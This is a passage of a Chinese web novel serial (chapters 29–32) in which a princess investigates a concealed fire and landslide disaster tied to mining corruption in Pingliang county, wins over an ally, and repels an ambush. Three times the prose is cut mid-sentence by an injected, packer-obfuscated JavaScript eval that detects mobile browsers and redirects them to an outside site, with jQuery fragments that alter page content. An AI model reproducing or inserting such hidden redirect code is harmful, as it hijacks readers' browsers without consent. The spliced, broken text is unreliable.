冻灾、饥荒、疫病接踵而至，还未清扫干净的西南草都蛮余部趁机卷土重来，轻骑快马兵临城下。眼看玄岳关战果不保，原大周土地百姓也岌岌可危。驿道结冰难行，大小玄岳关与玄岫城相对而立，连成一座山外孤岛，要被串上蛮族轻骑的刀锋。 四灾接至。 蛮族轻骑占不了玄岫城、收不回玄岳关，却可以直接屠了这座早已奄奄一息之城。在各方的眼中，此时的玄岫城不过是蛮族案板上可以轻而易举大卸八块的肉。虽柴虽瘦，但相当有价值。屠了玄岫城的蛮部，定能超越草都蛮，成为西南蛮族之首，重聚各部之力。 一时弃了玄岫城，还是不计代价驰援？朝中各色声音皆有出现。 昭灵公主给出的答案是，她不弃。西南公主府誓与玄岫城共存亡。 四灾可在一个月内齐至，转机却没有在一个月中来。 她熬了四个月，越过一串又一串坎坷，最终迎来真正的曙光。 不过，通政司之人的凝滞，并非是想到她功绩，而是因她现在明摆着是悬在通政司所有官员头顶的利剑。能抡起鬼头刀的皇帝亲妹，在她面前多一言，就多了一丝被抓住把柄的风险，是以噤若寒蝉、如履薄冰。 “我的建议是，立刻上报，立刻赈灾。”牧晓手持文卷，从屏风后走至大堂中央，面色冷峻，“不论到底是何灾，平良县受灾已成定局。县官与顺天府之事日后再究不迟，受灾后未及时止灾，才会酿成大祸。” 与人命比起来，真相暂时并不重要。 牧晓看一眼手中平良县官的奏章，心中不安，补充道：“计算时日，现在不报，若是真有灾情，流民入京也就在这几日之间。京内不稳，后果不堪设想。” “徐通政使意向如何？”牧晓转向堂上首位问道。 “臣深以为然。”徐通政使躬身拱手，“事有蹊跷，殿下可否随臣一道进宫，直报陛下？” 事态紧急，牧晓没有多言，干脆利落地和徐通政使一道向宫内方向走去。 她这次真的希望，自己的不安，只是因被那四个月玄岫城惨状吓怕了，只是场杯弓蛇影。 通政司众人见到平良县官那份越权奏报，第一反应是奏章格式言语有误。 但牧晓作为当年四灾的亲历者，从那充满浮言浮语的文字堆里，拨挑出这背后一丝如风中暗影般颤动的惊惶。 平良县，究竟有什么秘密？ 29.平良水火 “就是这样。”牧晓快步出宫回府，对府内人解释，“陛下有旨，派我领府中参与过玄岫城赈灾的人员，前往受灾的平良县监督户部勘灾。” “殿下，是明早启程么？”芒夏听闻灾情，整肃问道。 “户部和都察官员是。不过，我们今夜持令牌即刻启程。”牧晓脚步不停，吩咐众人尽快准备，“大家都是有经验之人，平良县不远，路也不会比当年西南山间的更难走。但其中人心弯绕，可比玄岫城复杂得多。想窥见真相，还是出其不意为好。” 走至议事堂，牧晓发现除了苏墨清，还有一人在等候。 是陶云鹤。 “公主殿下，家姐这些日子亦在平良县，已多日无消息。”陶云鹤焦急开口，“今早我求得大皇子殿下为我上报，已获陛下准许。现愿随公主一同前往平良县。” “上次登门颇为无礼，未有机会向殿下致歉，实在惭愧。”陶云鹤拜得更低，诚恳道，“现在事态紧急，家姐与祖父母在平良县情况不明，不求殿下不计前嫌，只求殿下事后再论，愿受殿下责罚。” “不必多言。快马可骑得？”牧晓直接问道。 “骑得。”陶云鹤抬头，坚定答道。 “好。去前院等候即可。”牧晓说完，转向苏墨清，“这几日，若你得闲，府中事务和文书你来决断；不想看或实在需要斟酌，直接放那就行。平良县不远，用不了多久我便回来。” 苏墨清蹙眉，但还是缓缓点头表示知晓。 “旧伤多，大冬天的的滋味不好受吧。不跟我出去受冻不好么？”牧晓语气放软，拍拍他的肩头，“上次从登闻鼓前冻那一路，别以为我看不出来。没什么事的时候就喜欢往我跟前凑，真有事，要么装成没事人似的，要么自己找个角落静静坐着。真是不知道怎么说你才好。” “府中事务拜托你啦。”牧晓上前抱了他一下，试到对方的回抱，突然有些舍不得走了。 但她还是松开了手，笑道：“走啦。记得等我回来。” · 黑夜中，几匹快马飞驰出城。 距京近的驿道尚且好走，越近平良县，道路结冰越严重。 入平良县最近的道路中，有一段起伏的山坡在背阴处。谷地仍有积雪，坡上覆盖厚薄不一的冰层。 这种地方坡上冰即使除了，也容易反复冻结，冬季难通快马，需借助特殊工具小心通行。 另一条进山道路更为宽阔平坦，日常车马更频繁，但关口多、绕路远，耗时更长。 带尖齿的铁套套于靴底，短柄铁钎钉入冰面，开道者在前固定好麻绳，方便后来人在不慎打滑时接力。越过这道最陡的坡，前方便是平良县。 开道者是连冬。在牧晓母亲留给她的春夏秋冬四位中，她最是神出鬼没。找她的时候她一定在，不刻意找她时便十天半个月见不着影。她主要负责牵制宫内宫外派进公主府的暗探，保证公主府内交流谈话不被偷听。这次她跟随前来，主要是因她对冬季翻山、过冰面雪地十分得心应手，若有紧急情况需要向外传递消息，她的速度最快。 在队尾者是陶云鹤。即使穿上全副装备，他依旧在不断打滑。公主府众人负重上冰仍能如履平地、快速前进，他只能咬牙尽力跟上队伍。 这冰面真是难行。姐姐与祖父母在平良县中，说不定正挨饿受冻。想到此处，陶云鹤更是心焦，一路滑一路歪斜，爬起后继续向前扑腾。 陡坡爬到三分之二处，忽见前方竟有人影向下行。 深夜，竟有人通过冬季人迹罕至的冰坡，从受灾县中爬出。 公主府众人停下脚步，严阵以待。 “等等，等等。”模糊的人影越来越近，陶云鹤突然激动起来，对公主府众人道，“等一下，那好像是家姐。” “姐！姐！我在这！”获得昭灵公主点头后，陶云鹤大声喊起来。 人影听到声音，快速向坡这头移动。陶云鹤想跑上前几步，又一个踉跄，差点摔到冰面上。 陶云娴几息间就行到弟弟面前，一个巴掌拍他背上，又把他拍了个踉跄：“谁让你来的？你不来，今晚我就自己出去了。你来了我还得带你。”她选这条路，就是因为出了这几道坡，不用几步就是最近的驿站和客栈，可供传信。 “嗷！姐你轻点，我站不住。我和昭灵公主一起来的。”陶云鹤因失去重心惨叫一声。 陶云娴眼睛一亮，丢下弟弟快速移动到不远处的队伍那边，对昭灵公主拱手道：“谢昭灵公主照拂家弟。上次暖炉宴中状态不佳，让公主见笑了。还不曾谢过公主相让，又听闻家弟莽莽撞撞上门，有失礼数。是我管教不周，还请公主恕罪。” “没有什么让不让的，陶姑娘自谦了。”牧晓对陶云娴一直印象不错，“我们是来监察灾情的。陶姑娘冰上行走甚是熟练。这是要去往何处？平良县内现在情况如何？” “我本打算自行前往就近驿站和客栈传信。因祖父母在此处，每次不耐绕路，冬季这条道我也常走。冰上行有些民间妙招，专门针对这片冰坡设计，是以行进速度快。”陶云娴简单解释道。 提及平良县内部分，她迟疑了一瞬，下定决心：“既然勘验灾情和赈灾的官员亦即将到位，我便不必出去送信。昭灵公主可随我进县，我给公主实地介绍情况。” “多谢陶姑娘。”和聪明利落的人说话实在省心，牧晓觉得黑夜中的陡坡与冰面都不再那样压抑。 一行人继续向上。 “姐，等等我，等等我。”陶云鹤跟在后头边踉跄边小声喊。 陶云娴无奈道：“让公主见笑了。”随后转身向下几步，抓住弟弟的手臂，教他怎样在冰面上找到平衡，又怎样蹬冰面。见他一时半会还是踉跄，陶云娴直接用力架起他，半拖半拽将他扯上了坡。 翻过了这最后的坡，平良县近在咫尺。 “此处地势较高。公主请看右斜前方不远处那座山坡。”陶云娴带着牧晓来到视野开阔处，“现在山体上并无树木，土地已结冻。实际上前几天刚发生一场山林大火。” 牧晓心中的猜测得到了肯定的答案。 林木繁茂处，冬初常满山堆积枯枝落叶，雷打雪后大风与晴冷天气让积雪来不及融化就快速流失，枯枝落叶十分容易引燃。若是再有雷电，或是乡民在山林边缘用火，大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830506|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风加剧火势蔓延，山林大火会酿成不小损失。 “山林大火受灾范围其实不大。但既然公主亲自前来，相必朝中已发现平良县的古怪之处。”陶云娴略带试探地看向牧晓。 牧晓点头，也不隐瞒：“平良县官报的是水灾和山崩，顺天府报的是山火和流民。” “这就说通了。”陶云娴手中铁钎敲击几下地面，脑中信息串通，“两方都没错。” 牧晓想她投以征询的目光：“愿闻其详。” “问题就在那座山上。”陶云娴邀她向那座山走去，“我恰好于雷打雪的前几日来到此处。当时，水灾虽无，但这座山的半边，已然崩了。” 然而，朝中似乎未见奏报。牧晓面色一沉，加快脚步：“陶姑娘可知山崩原因？” 陶云娴没有立刻回答，脑中思索片刻道：“不知。但见迟迟未有人来赈灾，有所猜测。我猜可能是和平良县开矿有关。矿引山崩，官员又不敢上报，背后恐怕有大人物。” 平良县依山傍水，矿产丰富。提到开矿，牧晓想起一位故人——邢承远。 下一瞬，意识到陶云娴说了什么，牧晓有些惊讶。她原以为以她堂姐牧晗那种性子，陶云娴大多会被拘在家中，和往常官宦人家的闺阁女般，学些绣花、书画、歌舞之类。听陶云娴刚才之言，她对身旁各种官府相关事亦有自己的敏锐。 “不论猜测对与否，都得赞一句，陶姑娘好眼力。”牧晓由衷觉得，若是换自己处在陶云娴的位置上，必没有能力联想到这些。年少时听闻有坊间人暗叹她浪费出身，徒有开府公主的虚名，现在想来也不为过。 陶云娴面上下意识闪过几分羞色后，莞尔道：“昭灵公主真的很不吝啬对别人的夸赞。若是最后帮不到公主，或是受我影响错了方向，那就真是愧对公主的赞美了。” “猜测便是要大胆。只要有一线可能，这个猜测便有价值，何谈愧对？况且就算到现在，陶姑娘已助我良多。”牧晓笑着摇摇头。 话音未落间，那崩了一半、烧了一半的山，已出现在眼前。 焦土碎石皆已冻结，覆盖着厚冰与白霜。 两人嘴角笑容散去。 这与牧晓以往所见过的山崩山火场景有不小出入。她再次询问陶云娴：“救火时，是如何引水的？这不像是只设置隔离带的模样。” “他们试图引洛水。”陶云娴低声道，“我不知这样是否正确。这个季节没有冻住的只有洛水，洛水近日水位不高，也相对可控。他们挖渠引了，火被成功限制，但加剧了另外半边山崩。意识到不对，他们又堵了回去，才有这些厚冰存在。” 牧晓琢磨几下，明白了些其中关窍。 平良县官急报水灾和山崩，因为这才是导致百姓受灾的真正原因。若是报山火，赈灾款与赋税减免程度降低不说，还会因失察与救火策略失误被治罪。 顺天府报山火，因这才是雷打雪后正对应的灾害，也是因救火，才引发后续事端。 但若是平良县官害怕被治罪，又何必越权将奏章直递通政司？这样必受罚无疑。 “何人在此违逆宵禁？”众人身后传来声音。 30.投诚之路 “原来是陶大小姐。”出声的原是平良县令，正是越权递章的那位。关于他的处罚还未下达，现在仍在履职。 平良县令不动声色道：“不知身旁这位是？” “县令不必担忧。这位是昭灵公主，来监察勘灾赈灾情况。”陶云娴为两方介绍，“公主殿下，这位就是平良县令。他暗中放我出县报信。” 牧晓对慌忙行礼的县令道：“不必多礼。先说清灾害始末要紧。” “臣请殿下移驾县衙。” “不必。”牧晓回绝，“在此处说吧，实地对应。” 这是不信他。若是有半句与实地无法对应的虚言，大概就要将他当场拿下了。平良县令犹如朔风穿耳般脑中骤然清醒，双手微微发颤。 “请殿下明鉴。臣自上任以来……” “直接从上一次山崩开始，讲明原因和经过。”牧晓打断他眼看就要开始的长篇大论，“你的奏章我看过了。重点不清，关于灾情的具体细节太少。将重点放在几场灾情上，不用再遵循那些虚礼。” 听到昭灵公主说她看过自己的奏章，平良县令松了一口气。那些虚伪辞赋他不知和各级官员说了多少遍，每回都是等他一通夸赞后，官员们才故作高深姿态，再悠悠闲闲让他切入正题。 一生扮惯丑角，最后一舞也能为这守了半生的县，当回英雄么？ “上次山崩是因开矿无度。平良县因矿产成名，也败于开矿带来的灾患。洛水河畔本就水灾频发，倒灌加剧山崩，不止在这次救山火的途中发生。早已无可奈何，又司空见惯。” “臣多次上报，均治标不治本。”且被天灾人祸牵连考核评分，又不至于被降职。 他不是个不畏强权的好县令，不是个才智过人的好县令，却是个合各方意的懦弱中庸之人。 平良县令说到此处，想起民间关于昭灵公主的传言，心一横，牙关紧咬：“此处公矿私采皆有。工部竭泽而渔，私矿幕后另有人物，上报奏表定是每次都被闷声拦下，才有今日之状。驿站递送权归兵部，奏章审核近年才归于新建的通政司，顺天府奏报不知何种情况，都察院中也定有势力干涉。” 这是直指天下乌鸦一般黑。相当胆大。 在朝中大人物眼中，平良县距京近在咫尺，受灾户数向来不多，赈灾相当便利，除矿难外人员伤亡都不多，可稳定榨取价值，还掀不起大风大浪，实在省心。 但他身为平良县令，实在熬不住了。一山之隔，一半平阳县是京官亲属避开京中纷扰、欣赏山水风光的田园牧歌；另一半谷地，是平良当地普通百姓、矿夫艰难求生的炼狱场。 他这大半辈子都被两山死死卡在中间，向左无力施救，向右无能反抗。 “至于这次雷雪后山火，臣斗胆猜测是朝中人物怕事情败露，试图毁尸灭迹。”开了这个口，平良县令继续语出惊人，“受灾200户，是臣虚报。200户不仅仅包含此次受灾户数，更包含近年来被摁下的受灾者。无这200户赈灾粮，臣恐平良县无法撑过这个严冬。” “引洛水控制火情，实属无奈，否则冬日大风有将山火带向民居之危。引发二次山崩，臣无理辩驳，罪该万死。” “臣儿女远走，爱妻已逝；自身年岁已高，再无牵挂。唯放不下这守了半辈子的县。” 他这辈子都未曾写过能名正言顺送达御前的奏章。那被载入差错公文案卷的奏章，是第一本，也是最后一本。不成想，他的最后一搏依旧是个错字。 还好这“错”峰回路转，变成了阴差阳错的“错”，在山重水复时，偏偏来了昭灵公主。 户部官员与特派御史将至。这次的灾，大概再也瞒不下了吧？ 头被摁进水中之人，终于感受到脑后之手被拿开，得以露出水面，慌忙喘息一口。 牧晓在黑暗中静默良久，久到平良县令坚定的心重新开始动摇，久到周围众人难以分辨她的意思倾向。 “再写奏章，签字画押。这次，我给你递。” 牧晓的语气中无甚喜怒，话却重如千钧，让平良县令咕咚直跳的心，掉回肚里。 众人在夜色中前往县衙，平良县令亲笔写下证言，摁下手印官印。 他长舒一口气，将文本交与牧晓。 紧接着，他瞳孔骤然紧缩，心被高高悬起提起后在喉头炸开，浑身颤抖起来。 因为他听到昭灵公主慢条斯理收起奏本，对他说：“你眼中的灾情书写完了。现在，书写你能想到的罪过吧。不限于此次，不限于上次。再想想。” “比如，想想你远行的儿女，可是生活富足安乐？” “他们的财富来自何处？是否合规？” “留下两人，看住他，不要让他自尽或是被人杀了，也不要让他通风报信。”牧晓吩咐完，定定凝望几息平良县令惊恐的神情后，转身出了县衙，走入无月的黑暗中。 · “昭灵公主，这……”陶云娴在牧晓身后一言不发，陶云鹤摸不着头脑，试图出声询问，被姐姐暗中拍了一巴掌。 “云娴，”牧晓在前方突然停下，回头直视陶云娴，“你要报的信，不是平良县令刚才说的那些吧。” 陶云娴亦站定，与牧晓目光交汇瞬间，微微一笑：“昭灵公主夸我好眼力，我看公主才是真的好眼力，足够敏锐。” 深夜，让一官宦人家的大小姐出去报信，听起来就十分诡异。 “确实不是。”陶云娴直言，“他是‘放’了我没错，但并非‘让’我出去报信。我早觉这个平良县令亦是有鬼。若是真懦弱且慈悲，怎会把百姓都严加拘在此处。暗示百姓可出县自求生路，都比让他们困死在此处强，也更符合他的外在表现。” 平良县令说的未必是假话，但肯定只是冰山一角。 平良县真的如此水深火热么？一部分可能确实存在。京城灯下黑，监管不严之处肯定存在。 但平良县，并非什么远在天边的贫困之县。他们不走大道只为求快，并非平良县不通大道。 夜晚宵禁巡城，是县令之责么？为何能刚好遇上她们，还能在黑夜中，一眼认出陶云娴？ “说起来，大概要感谢昭灵公主救命之恩了。”陶云娴由衷道。 “你未必会有事。一人虽少，但亦好藏。更何况陶姑娘在冰坡上的移动速度，非常人所能及。这些陶姑娘一定算到了吧？”牧晓嘴角上扬，眸中的欣赏之色溢出。 见到自己弟弟的第一反应并非分别多日后的激动、夜路见亲人的欣喜，而是一句“你来了我还得带你”。不算突兀，但细思确实话里有话。 “我算过，若是受灾严重，流民不日将至京。陶姑娘选择今日也算过吧。不论朝中再怎样拖下去，这几日终是要派人过来。”牧晓饶有兴致地分析，“你赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836024|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有心人会选择这条难走却更快速的道路。即使今夜我不来，明日驿站与客栈附近终会来人。” “啊，还有。平良县也不能完全截断居住在此的京官家属与京城的书信往来吧？如果不算冒犯，我相当好奇你为何不再写信？”牧晓上前一步问道。 陶云娴展颜道：“没什么冒犯的。昭灵公主说得都没错。即使我和母亲闹得再不愉快，也犯不着用不通音信来让家人为我悬心。我想，云鹤大概是求到大皇子那里去了吧？” “姐，这你也能料到。”陶云鹤的目光在面前两人身上来回轮转，愕然道。 “平良受灾，我父母的性格，是不会私自派人进来的。他们期许身在京城，也能成为闲云野鹤，远离事端。一个不听话的女儿而已……”陶云娴叹息，“而云鹤，大概是家中唯一会真的担心我的人。他又能去找谁呢？谁能帮到他，谁又能听他说呢？他的狐朋狗友都帮不上忙啊。他会找他提到过的昭灵公主驸马，还是直接去求大皇子呢？” “在公主殿下说此行有监察任务时，我想，他大概是两方都找了，才有机会跟来。”陶云娴目光复杂地扫了一眼自己愣在原地的傻弟弟，“平良县之事，这次肯定要闹大了。” “这番话说得敞亮。那陶姑娘是为了什么？又需要我做什么呢？”对这样有眼界和魄力的女子，牧晓也不兜圈子，直接问她。 陶云娴拱手，说出她在心底压抑已久的话：“我想为自己一搏。与陶家无关，与我父母无关，与他人皆无关。” “不知公主日后有何打算，但若公主不弃，云娴愿为公主效力。山南海北皆愿追随。”陶云娴抬头直视牧晓的眼睛，目光灼灼，往日所有不甘与愤懑，都燃烧成此刻的孤注一掷，“平良相助，便是我的投名状。不知公主意下如何？” “云娴敢投，我自然敢接。”牧晓盈盈一笑，扶起要拜的陶云娴，“和陶家那边的沟通，若是云娴需要帮助，可随时叫我。” “一言为定。”陶云娴心头阴云骤散，面上开朗许多。 陶云鹤手足无措地站在一旁，脑中已糊成一团。 姐姐从未和他提过这个想法，身在平良还通书信时，也从未提到过平良异状。 她想了多久？是那次暖炉宴让她下定决心的吗？ 还是她早就厌倦了和父母没完没了的争论，早就发现和这个家道不同不相为谋，早就想远走高飞了呢？ 往日只言片语浮上心头。 除了昭灵公主，她还思索过谁？ 她赞过原延国公夫人姚庄主的生意，夸过余皇后的明快，叹过自己年岁不小、无缘做皇女伴读，羡过闻笙闻阁主的剧本眼光和居中调度能力，析过现在那聊有胜无的女官制度……还有各家巾帼不让须眉的夫人们，故事里的女帝女将女相…… “想什么呢。我为自己谋个出路，和你有什么关系，值得想得这样入神？”陶云娴一把把弟弟的魂拍回来，“不论和家里怎么闹，我都还是你亲姐姐。” 陶云鹤听到这话，喜笑颜开，不再纠结脑中想法。 “县里有家客栈老板我熟识。大家可否先去那边将就一晚？”陶云娴询问牧晓。 “那就多谢云娴安排了。”牧晓对住哪里这件事相当随意。在玄岫城时，破庙也不是没窝过，住哪都没什么大不了的。 待第二日天明，朝中其他官员到来，或许能看出更多东西。 31.刀光残影 第二日，天际泛白，牧晓察觉到房门口有人在来回踱步。脚步刻意放轻，声音时有时无，似是在门前抬手又放下，还在犹豫。 牧晓歪头对着门边晃动的隐约人影端详片刻，收起手中奏折，起身走向门前，隔门问道：“陶姑娘可要进来？若想说，直接推门便好；若不想说，就再去休息几个时辰吧。” 门外的脚步声彻底停下。 紧接着，房门被无声无息推开一条缝，陶云娴逆着晨光抬眸，恰好对上牧晓映着摇曳烛火与与身后微弱曦光的眼睛，令她无端想起前几日洛水刚覆薄冰时，她看过的那场河上日出。 “云娴？”听到牧晓略带疑惑和关切的询问，陶云娴回过神，闪身进屋后仔细关好房门，与牧晓一同走到几案两侧坐下。 “抱歉，这么早来叨扰殿下。”陶云娴已换下昨夜身上的夜行服，但并未换上大家小姐的锦缎绣服，而是一身低调的晴蓝色劲装。 既然已决定推开门，她便不再犹豫，直接道：“殿下，昨夜我还未曾答自己为何一定要出去送信、要送什么信。夜中思忖良久，惊觉有一情况，可能还未传到殿下耳中。” “平良县现在虽不到与世隔绝的地步，但那条四季通车马的大道，现在进不来运粮太平车，也难通马车。”陶云娴语气中饱含忧虑，“若是京中官员定要从大道做马车入平良县，恐怕要耽搁些时辰；若是转走小道，不知派来的官员腿脚可还都灵便？” 牧晓闻言神色微变：“县官与驿卒，未曾及时组织通开道路么？顺天府能收集到灾情，定是……”她本想说“定是通了路”，但转念一想，这个说法并不准确。 能传递消息和通了路，其实是两码事。 她对京郊的政务情况并不熟悉。现在想来，京中还未派人前来勘灾，顺天府能在奏折中写明山火灾情，亦应是这平阳县令报上的。 这县令其实并不是想通过瞒报山火灾情，来免于受罚。相反，他就是要让这矛盾之处被通政司看到，就是要将平良灾情闹大。 不尽力通路，困死平良县，却偏又递出去消息。显然，闹大的目的，不是像他昨夜说得那样为民为义。 他是为沽名钓誉，还是另有所图？又或者这自相矛盾中，还有未尽之言。 “这次来的主要是户部的杜侍郎和都察院右佥都御史，朝中算是相当重视。路有冰雪，他们应早有预料。这二位主官年纪不算大，带的副手也应是有能力行路之人。”牧晓并不为这几位朝中官员担心。虽未了解过这几位的为官背景，但做官做到这个品级，地方上何种把戏没听过见过？只要他们想履职，定能自己找到脱困办法。 而且，她已在县中的消息，想必两位官员出发前就会知晓。 “官员那边暂且按下不表。”陶云娴见牧晓并不着急，眉头一松，“我昨夜其实是想以快些归家为借口，报出平良县官企图暗中封县的消息。若是驿站接信，或许能加快通路进度。” 她说得隐晦。其实是那方驿站中有父亲旧故可信，也识得她。就算驿站亦有蹊跷，念在长辈旧情，大概率会隐晦提醒于她，并托方法将她送回京中。 不在平阳县中向外送信，是因有被截断的风险。 牧晓听出她对那边驿站的信任，没有追问原因，而是将问题绕回另一条道路上：“陶姑娘以为昨夜那条道上的驿站可信，那大道上的呢？驿站驿道均归兵部车驾司管理。若是兵部下令全力协助清扫，即使县中不配合，路也该通开了。” 昭灵公主在疑兵部。这点陶云娴并不意外，只是自己情理上有些许犹豫。 她听母亲提过，兵部刘尚书与她父亲，面上相差年岁不小，实则是同榜进士。 她父亲年少登科，名次虽不靠前，但在当年是少年英才，前途一片大好；刘尚书摘得榜眼，但人已中年，且传言家中长辈皆不长寿，引人唏嘘。 二十载斗转星移风云变幻，在朝代更迭中，陶家因牧晗，阴差阳错被迫站对了队，却没有乘风而起，只是关起门来过平静安和的小日子；刘尚书中年登科，凭借敏锐判断自选明主，在先帝登基后扶摇直上，成了现在稳坐高堂的兵部尚书，年岁已高身体依然康健，破了家族不长寿的咒命。 这二人同年及第，在朝中又始终站在同边，说没有交集是不可能的。 陶云娴眼中和听闻的刘尚书，向来是慈祥和蔼、值得敬重的长辈。在陶家当年陷入争议时搭过手，在她弟弟入选皇子伴读时道过彩，在家中试图给她挑夫婿时，劝过他父亲不用着急…… “云娴，兵部刘尚书与你家私交不错吧。你弟弟的皇子伴读之位，也是他保举。”牧晓见她的神色不自然，微笑道，“若是为难，还是别掺进这事端中了。” 陶云娴思忖片刻后定神：“愿投殿下门下的非是陶家，而是我本人；陶家的私交公交，也都与我助殿下这件事无任何瓜葛。昨夜我想用陶家驿站中的旧交救自己的命，恰巧遇见殿下，有幸之余亦算有缘。” “既已出言选了殿下，断没有再反悔的道理。”陶云娴敏锐感知出牧晓话中所指，“若平良县封堵真有刘尚书的手笔，他显然没有因我和陶家祖父母在此就手下留情。我又何必自做多情，惺惺顾念那些旧事？” “透彻。”牧晓赞了一句后，笑眯眯望着她，“云娴可曾听过玄岫城？” “玄岫城之事，我有所耳闻。”陶云娴眸中一亮，回想起第一次听到玄岫城故事时的心潮澎湃，“早与家弟赞叹过昭灵公主智勇果决。殿下立于城头，一箭射穿上前挑衅的蛮族队伍头目之事，可是在京中掀起过女子学射艺之潮。” “这件事？实是蛮族太猖狂，被逼无奈，不得不断。其实和智与勇皆无关。”牧晓第一次听京城人在她面前谈玄岫城，没想到是城头那一箭，有几分诧异，“京中不知西南前几年发生过雷打雪么？” “只模糊听过，玄岫城起过四灾。”陶云娴摇头后顿住。她知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839653|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道雷打雪，就是因平良县这场。 “玄岫城雷打雪势头更猛，自然也遇上过驿道冰封。”牧晓意识到，四方大灾小灾常有，在地方天大的灭顶灾祸，消息传到京中，都泛不起什么涟漪。 “既然云娴已下定决心，我也不隐瞒。”她正色道，“当年驿道封冻，兵部就因开道不利，被我递过一本。当时刘尚书主张暂缓驰援玄岫城，认为西南春夏升温快，只要放任其熬过几月，危机自解。” “这主张从结果上看起来没错，但当时我得知这种风声，相当愤怒。因为他们根本不在乎玄岫城是否会被屠被劫，只站在一旁，冷冷分析蛮族根本无力长期占领玄岫城。”牧晓垂眸，平静叙述道，“我当时觉得他们把一座城的人当地里菜，冻死一茬，来年天好了，再播一茬进去，就可以装作无事发生。明明还没到山穷水尽，甚至都不再争一把，就想彻底放弃。” 谈到此处，两人静默间，脑中浮现骇人的猜想：现在的平良县，是不是正在被当做当年孤岛般的玄岫城对待？等这一批百姓离世，等这一批官员换走，等采矿带来的山崩被清运，还会有源源不断的人，因平良矿产丰富、山清水秀而来。 这几年的天灾人祸，不用幕后之人费多少力，就可以自然而然地被岁月淹没，经年之后再找不出一丝尘迹。 杀人不用断头刀，眼中不见血，雪中不留痕。 谁又站在一旁，冷冷欣赏着这一切？ 日光已将门缝边角晕染上一层惨淡的金，反将寒意挤进屋内。 “连冬。”牧晓缓缓起身吩咐道，“通知打探消息之人完成任务后直接去县衙。我们先行一步。在朝中官员到来之前，尽量不要闹出动静。” “是。”连冬从房梁上悄无声息飘下。 陶云娴一惊，掌心沁出冷汗，指尖微蜷将一搓衣角卷进手中。她进门这么久，完全没意识到屋里还有第三个人。 “云娴可要同去？”牧晓转头邀请陶云娴，“就这么几个时辰，除了那县令，县衙内已抓到新人了。” “自然。”陶云娴松开手中衣角，起身准备跟上。 牧晓从手臂上退下一个卡得刚好的镯子，递给陶云娴，并解释道：“姚庄主送的暗器，能拆成三四个弧形飞刀。零零散散送了好几箱，说是让我闲来无事分给好友一同玩玩。” “防身的话，我和我身边人都用不上这个。云娴投壶那样准，这个应该相当合适。”牧晓对她笑着眨一下眼，“若是用上了，记得记下可以改进之处，来日报给姚庄主。她很有兴趣听这些。” 陶云娴接过，试了几下后觉得相当精巧且有意思，也不客套推拒，笑道：“那就谢过殿下和姚庄主了。”想必此物不仅能防身，亦有能相当于印信的东西。 也是在提醒她，此行大概不太平，需多加小心。 不过，陶云娴没想到这份“不太平”来得这样快。 一进县衙，两道刀光残影扑面而来。 32.拙劣复刻 “连冬，不要下死手。” 牧晓说话间，铮然拔刀挡住对方的劈砍。两刀相撞试清力度的瞬时，她刀锋一斜下压改变发力方向，手腕内旋刀面向外再次直击那刀锋后挑出。对方的刀刃撞击后骤然劈空，刀尖方向收不住力，在第二次逆向撞击下短刀直接脱手飞出，哐啷一声拍上县衙院墙后掉入院中盆景之间。 在对方手腕向后翻折过度且震得发麻的片刻，牧晓手中刚才气势如虹的长刀，已像一条冰冷的毒蛇，贴上对方咽喉。 那人用左手攥着自己闪到的右腕，脖颈上的凉意让他一口气高高提起，下意识滞了一息，却没有向后躲闪。 牧晓直觉这人反应不对，将刀锋反转向下后，用刀面猛然抽击对方腹部。 那人原想向前用咽喉撞上刀锋血溅三尺，被这一击直接抽飞，后背嘭的一声撞上县衙围墙，双目圆睁滑向地面，双臂抱住腹部蜷成一团，呛咳一声喷出血沫，垂头在地浑身痉挛。 陶云娴在惊变发生时，迅速退后几步靠上斜后方的墙体，确保身后不会有人突袭。牧晓挡下的那一刀，本是朝她这个方向来的。她还没看清两方的具体动作，惊魂未定间感受到背后墙体一震，袭击者——一名相当高大的壮汉——已经被拍到墙上了。 眼见这边问题已解，陶云娴赶忙向另一个方向望去。 第二位袭击者是名身材娇小的女子。她跪在地上双手垂地僵住，咽喉处渗出血迹。不过显然只划破了表皮，连冬就硬是收住了刀，直接踹在了对方两膝上。 牧晓瞥了一眼墙角还在干呕和呛出血沫之人，颠了颠手中未收回的刀，回想刚才的力道，觉得这人应该死不了但也没法再有别的行动，收刀入鞘，向那名娇小的女子走去。 那壮汉挥大刀只用力没有巧，关节收得太紧，握刀却并不稳，对砍经验也显然不足。不算练家子，只能算有些蛮力的普通人。 这位双膝狠狠磕在地上的女子则不同，她出手从速度到准度皆属一流，小暗器和诡谲招式不断，应当是偷袭暗杀他人的一把好手。 